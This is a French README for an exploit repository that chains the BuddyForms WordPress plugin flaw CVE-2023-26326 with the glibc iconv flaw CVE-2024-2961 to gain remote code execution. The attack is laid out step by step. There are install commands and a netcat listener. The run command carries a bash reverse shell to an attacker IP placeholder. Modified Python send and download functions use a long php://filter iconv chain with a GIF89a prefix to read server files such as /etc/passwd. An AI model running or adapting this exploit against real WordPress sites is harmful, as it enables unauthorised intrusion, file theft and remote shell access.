
Exploit pour CVE-2023-26326 dans le plugin WordPress BuddyForms, tirant parti de CVE-2024-2961 pour l'exécution de code à distance. Cet exploit contourne les limitations de désérialisation de PHP 8+ en chaînant des vulnérabilités via php://filter.
Ce travail a été réalisé par moi, Omar Elshopky, et Nour El Dien Bassiouny.
Ce dépôt contient un exploit pour le plugin WordPress BuddyForms (CVE-2023-26326), initialement signalé dans l'avis de sécurité par Joshua Martinelle. L'exploit s'appuie sur une technique proposée dans l'article de blog Iconv, définir le jeu de caractères pour arriver au RCE : Exploiter la glibc pour pirater le moteur PHP, et a été implémentée par @ambionics dans le dépôt cnext-exploits.
À l'origine, CVE-2023–26326 nécessitait des chaînes de gadgets pour être exploitée comme une vulnérabilité de désérialisation. Cette méthode n'est plus réalisable sur les sites WordPress récents fonctionnant sous PHP 8+ ; cependant, en la chaînant avec CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1), l'exploit devient possible via php://filter plutôt que phar://.
L'exploit a été créé en modifiant le script , en intégrant les modifications nécessaires pour CVE-2023-26326, comme détaillé dans la .
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> pour récupérer le shell inverse :nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'


L'idée centrale de l'exploit CVE-2024-2961 a été conservée, mais des modifications ont été nécessaires pour l'adapter à l'envoi de la chaîne de filtres au site Web et au téléchargement de fichiers depuis le serveur.
Dans l'exploit original, la fonction send est utilisée pour envoyer un chemin au serveur :
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Pour WordPress avec BuddyForms, l'interaction se produit par défaut via une requête POST vers /wp-admin/admin-ajax.php, où le corps de la requête contient action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. Le paramètre URL sert de point d'injection pour envoyer la chaîne de filtres au serveur. Cela a conduit à la modification suivante de la fonction send :
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
L'exploit original disposait d'une fonction download chargée de télécharger les fichiers depuis le serveur. La version suivante de la fonction download est utilisée dans l'exploit original :
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Pour l'adapter à BuddyForms, nous analysons la fonction buddyforms_upload_image_from_url, qui gère le téléchargement d'images depuis une URL. Elle utilise file_get_contents, vérifie le type de fichier avec getimagesize(), puis enregistre le contenu dans le répertoire wp-content/uploads. Cela nous permet d'exploiter php://filter pour lire des fichiers locaux et les enregistrer dans le répertoire uploads, les rendant accessibles via URL. Cependant, nous devons contourner la vérification du fichier en préfixant GIF89a au contenu du fichier pour le faire passer pour un GIF. Cela peut être réalisé en utilisant le chaînage de filtres, et l'outil wrapwrap peut générer la chaîne requise :
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000

Cette chaîne de filtres générée doit remplacer l'encodage base64 utilisé dans le script original. De plus, le format d'extraction du chemin du fichier téléchargé depuis la réponse doit être mis à jour pour s'adapter au format JSON, qui inclut l'attribut "response" défini comme étant le chemin du fichier.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Notez que le préfixe GIF89a doit être retiré avant d'utiliser le contenu du fichier dans l'exploit, ce qui donne la fonction download modifiée suivante :
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Veuillez noter que le téléchargement du fichier libc.so.6 depuis le serveur peut ne pas fonctionner correctement avec les chaînes de filtres, car le binaire est modifié au cours du processus. À la place, le fichier correct doit être fourni dans le répertoire racine de l'exploit.